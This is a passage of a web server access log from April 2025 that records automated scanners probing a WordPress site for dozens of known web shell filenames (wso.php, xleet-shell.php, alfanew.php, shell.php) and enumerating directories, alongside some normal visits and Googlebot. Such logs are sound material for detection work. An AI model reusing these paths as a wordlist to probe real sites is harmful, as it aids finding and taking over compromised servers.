795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:25 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:25 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:26 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:26 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:27 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:27 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:28 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:28 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:29 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:29 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:30 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:30 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:31 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:32 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:32 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:33 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:33 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:34 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:34 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:35 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:35 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:36 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:36 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:37 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:37 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:38 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:38 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:39 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:39 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:40 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:40 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:41 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:42 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:42 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:43 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:43 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:44 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:44 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:45 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:45 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:46 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:46 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:47 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:47 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:48 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:49 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:50 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:50 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:51 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:51 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:52 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:52 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:53 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:53 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:54 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:54 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:55 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:55 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 18.237.174.58 - - [29/Apr/2025:00:52:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 119.96.24.54 - - [29/Apr/2025:01:20:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [29/Apr/2025:01:37:08 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:01:37:11 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:01:37:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:01:37:25 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 145.239.10.137 - - [29/Apr/2025:01:43:12 -0400] "GET /prt.php HTTP/1.1" 301 795 "http://designpitara.com/prt.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 212.30.36.107 - - [29/Apr/2025:01:44:28 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 66.249.72.236 - - [29/Apr/2025:01:58:59 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.236 - - [29/Apr/2025:01:58:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 46.148.206.226 - - [29/Apr/2025:02:29:01 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 52.178.157.95 - - [29/Apr/2025:02:42:20 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:22 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:23 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:24 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:24 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:25 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:26 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:26 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:28 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:28 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:29 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:30 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:31 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:32 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:33 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:34 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:35 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:35 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:36 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:37 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:37 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:38 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:40 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:41 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:42 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:42 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:43 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:44 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:45 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:45 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:47 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:47 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:48 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:49 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:50 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:51 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:52 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:52 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:53 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:53 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:54 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:55 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:56 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:57 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:58 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:42:59 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:01 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:02 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:03 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:03 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:04 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:05 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:06 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:07 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:08 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:08 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:09 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:10 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:11 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:12 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:13 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:13 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:14 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:15 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:15 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:16 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:17 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:18 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:18 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:19 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:20 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:21 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:22 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:23 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:23 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:24 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:25 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:26 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:27 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:27 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:29 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:30 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:30 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:31 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:32 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:33 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:33 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:34 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:35 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:35 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:36 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:37 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:37 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:38 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:39 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:40 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:41 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:41 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:42 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:43 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:44 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:45 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:45 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:46 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:48 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:49 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:51 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:53 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:55 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:57 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:58 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:43:59 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:00 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:01 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:02 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:03 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:04 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:04 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:05 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:06 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:08 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:08 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:09 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:10 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:11 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:12 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:13 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:14 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:15 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:16 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:16 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:17 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:20 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:21 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:23 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:25 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:26 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:27 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:28 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:29 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:30 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:31 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:32 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:34 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:35 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:36 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:37 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:38 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:40 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:42 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:43 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:44 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:44 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:46 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:47 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:48 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:49 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:50 -0400] "GET /plugins.php 